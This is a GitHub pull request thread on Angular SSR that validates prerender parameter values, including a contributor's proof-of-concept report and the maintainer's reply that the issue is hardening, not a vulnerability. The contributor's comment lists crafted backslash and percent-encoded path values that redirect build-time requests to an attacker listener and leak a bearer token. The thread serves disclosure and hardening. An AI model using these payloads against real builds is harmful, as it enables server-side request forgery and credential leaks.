Skip to content

fix(@angular/ssr): validate prerender parameter values - #34570

Merged
alan-agius4 merged 3 commits into
angular:mainfrom
SkyZeroZx:fix/validate-prerender-param-values
Oct 30, 2026
Merged

alan-agius4 merged 3 commits into
angular:mainfrom
SkyZeroZx:fix/validate-prerender-param-values

Conversation

@SkyZeroZx

Copy link
Copy Markdown
Contributor

Reject getPrerenderParams values that are not valid path segments, such as a/b, .. or a value containing \, instead of prerendering a different route or redirect target.

Fixes #34569

Reject `getPrerenderParams` values that are not valid path segments,
such as `a/b`, `..` or a value containing `\`, instead of prerendering
a different route or redirect target.

Fixes angular#34569

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces validation for prerender parameter values in Angular SSR, ensuring they are valid, non-empty path segments and do not contain path traversal or invalid characters (even when percent-encoded). It also adds comprehensive unit tests to verify this behavior. One issue was identified where decodeURIComponent can throw a URIError on malformed percent-encoded sequences, bypassing the custom descriptive error. It is recommended to wrap this call in a try-catch block to handle malformed sequences gracefully.

Comment thread packages/angular/ssr/src/routes/ng-routes.ts Outdated

@alan-agius4 alan-agius4 left a comment •

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR.

Validating getPrerenderParams values is a good bug fix and hardening, though we do not consider #34569 to be a security issue.

getPrerenderParams() only runs at build time (ng build) and is not reachable from untrusted runtime requests. Unlike output encoding bugs where valid route segments (like apostrophes) broke generated code or HTML attributes, the scenarios in #34569 rely on getPrerenderParams() returning unvalidated path separators (\ or /) or dot segments (..) for a single segment parameter, and having a root :param route with no static prefix. Validating that external data matches the expected slug or ID format before returning it from getPrerenderParams() is an application responsibility, and allowedHosts is only meant to validate incoming Host headers at runtime in AngularAppEngine, not outbound requests during ng build. At runtime, dynamic redirect routes also do not decode %5C or %2F or keep leading slashes in buildUrlWithParams.

That said, rejecting invalid path segments in getPrerenderParams makes sense as hardening, but the current implementation in this PR has several bugs. Please see the inline comments below.

Comment thread packages/angular/ssr/src/routes/ng-routes.ts Outdated
Comment thread packages/angular/ssr/src/routes/ng-routes.ts Outdated
@SkyZeroZx

Copy link
Copy Markdown
Contributor Author

allowedHosts is only meant to validate incoming Host headers

This is my bad I misleading this part from #34569. Same for the runtime buildUrlWithParams point, I tested it and no anonymous request does any of this, the value comes from the data that feeds a build. Also one control came out against me, the short-link slug planted already encoded as %5Ccdn-login.test publishes url=/%5Ccdn-login.test, which stays on-origin, so encodeURIComponent does protect that redirect ( I expected the opposite ).

Where I'm stuck is "an application responsibility". The page paths in the repro do what both advisories you published on 2026-10-28 ask, and the build still takes the host from them. GHSA-jp2q-rh7r-4vjf asks that values be "strictly validated or URL-encoded (e.g., with encodeURIComponent)", and GHSA-w34w-96hf-98hj asks to "validate or URL-encode dynamic route parameters returned by getPrerenderParams() so that they cannot contain single quotes ('), backslashes (\), or line terminators". The feed encodes every page segment:

const encodePath = (path) => path.split('/').map(encodeURIComponent).join('/');

so \127.0.0.1:8787/docs/overview is returned as %5C127.0.0.1%3A8787/docs/overview, no quote, no backslash, no line terminator. But RouteTree.getPathSegments is route.split('/').filter(Boolean).map(decodeURIComponent), it splits on / first and decodes second, and renderPage then does new Request(new URL(url, serverURL)), so the page renders against 127.0.0.1:8787. As far as I can see the decode came with 53b9623 ( #33044 ), on 20.3.42 the same encoded paths stay encoded and nothing leaves the host.

The tenant and short-link slugs only go through the slug validator, which rejects separators, whitespace and dot segments but lets \ through, so those two are the raw half and I agree with you on them.

I tested this on a fresh clone of the branch tip, an ng new-shaped SSR app with a local API and an attacker listener:

https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc/tree/repro/prerender-param-minimal

npm ci, node lab/cms.mjs --seed, npx ng build on 22.2.5 with Node 24.21.0 on Linux exits 0 and prints Prerendered 9 static routes., no warnings. The four planted values arrive over plain HTTP, \cdn-login.test as a tenant and as a short-link slug, plus the page paths \127.0.0.1:8787/docs/overview and \exfil.test/docs/overview, which the feed returns encoded.

$ grep -o 'url=[^"]*' */index.html p/*/index.html
\cdn-login.test/index.html:url=/\cdn-login.test/home
acme/index.html:url=/acme/home
globex/index.html:url=/globex/home
p/\cdn-login.test/index.html:url=/\cdn-login.test
p/acme/index.html:url=/acme

$ grep -rho '<code id="origin">[^<]*' . | sort | uniq -c
      1 <code id="origin">http://127.0.0.1:8787
      1 <code id="origin">http://exfil.test
      1 <code id="origin">http://localhost:35985
      1 <code id="origin">http://localhost:42409

$ grep -o '<pre id="probe">[^<]*' '\127.0.0.1:8787/docs/overview/index.html'
<pre id="probe">ATTACKER-CONTROLLED-BODY

$ cut -c1-200 lab/wire.jsonl
{"at":"2026-10-28T18:00:06.946Z","listener":"attacker","method":"GET","url":"/api/probe","headers":{"host":"127.0.0.1:8787","connection":"keep-alive","authorization":"Bearer LAB-SERVICE-TOKEN","accept

.test never resolves, so for exfil.test the rendered origin is the only evidence ( 127.0.0.1:8787 has a listener ). The Bearer LAB-SERVICE-TOKEN comes from the app's own token interceptor, it only adds it to relative /api/ URLs, and the URL is still relative when it runs.

For me the theat model will be like the following :

The actor is a CMS author who can write one row of application data, no repository or CI access. I think you already placed that actor in scope, the precondition of GHSA-w34w is "The parameter values returned during the build originate from an untrusted or externally modifiable source (such as a CMS, database, or external API)", and it was scored for a network attacker with low privileges, not for a build operator. That score also counts the conditions it needs and it still came out High, so I'm wondering if "needs a particular route shape and a later build" lowers the severity instead of ruling the report out? getPrerenderParams() is "not reachable from untrusted runtime requests", agreed, but the output is then served on every request, and GHSA-jp2q is titled Stored Cross-Site Scripting over the same channel.

On "unvalidated path separators (\ or /) or dot segments (..)", for the two raw backslash values I agree, a raw \ is not valid pchar. The encoded ones are where I don't follow, %5C127.0.0.1%3A8787 has no separator and no dot segment and is a valid RFC 3986 segment, since pchar is unreserved / pct-encoded / sub-delims / ":" / "@". Also ", < and > are not valid pchar either, so an invalid segment did not by itself put GHSA-jp2q out of scope.

On "no static prefix", switching the render host does need the value in first position, that part holds. But { path: 'p/:slug', pathMatch: 'full', redirectTo: '/:slug' } in the routes has a static prefix and its published redirect page still leaves the origin, for the redirect what counts is the target being root-anchored.

@alan-agius4 So I still think it can be reclassified like a security issue, since I don't think that, based on the framework, this can happen only by using the API as documented, but by unexpected behavior which allows performing a request to another host

@SkyZeroZx
SkyZeroZx requested a review from alan-agius4 October 28, 2026 18:35

@alan-agius4 alan-agius4 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@SkyZeroZx Thanks for sharing the additional context and follow-up. However, our assessment remains unchanged, and we consider #34569 to be a regular bug/hardening improvement rather than a security vulnerability.

Per our Security Policy (SECURITY.md), build-time configuration and values returned by developer-authored build-time functions such as getPrerenderParams() are considered trusted inputs. Passing unvalidated data from an external source (such as a CMS or database) into build-time route generation, or encoding untrusted path separators/hosts with encodeURIComponent instead of validating that parameters match an expected format, is an application-level input validation concern, not a vulnerability in Angular.

The earlier advisories you referenced (GHSA-jp2q-rh7r-4vjf and GHSA-w34w-96hf-98hj) involved output-escaping defects in generated JS/HTML where valid route characters (such as ') broke syntax.

Comment thread packages/angular/ssr/src/routes/ng-routes.ts Outdated
Comment thread packages/angular/ssr/src/routes/ng-routes.ts
Comment thread packages/angular/ssr/test/routes/ng-routes_spec.ts
@alan-agius4 alan-agius4 added action: cleanup The PR is in need of cleanup, either due to needing a rebase or in response to comments from reviews target: patch This PR is targeted for the next patch release labels Oct 29, 2026
@SkyZeroZx
SkyZeroZx requested a review from alan-agius4 October 29, 2026 15:03
@alan-agius4 alan-agius4 removed the action: cleanup The PR is in need of cleanup, either due to needing a rebase or in response to comments from reviews label Oct 30, 2026
@alan-agius4 alan-agius4 added the action: merge The PR is ready for merge by the caretaker label Oct 30, 2026
@alan-agius4
alan-agius4 merged commit bf1602a into angular:main Oct 30, 2026
40 checks passed
@alan-agius4

Copy link
Copy Markdown
Collaborator

This PR was merged into the repository. The changes were merged into the following branches:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

action: merge The PR is ready for merge by the caretaker area: @angular/ssr target: patch This PR is targeted for the next patch release

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects

2 participants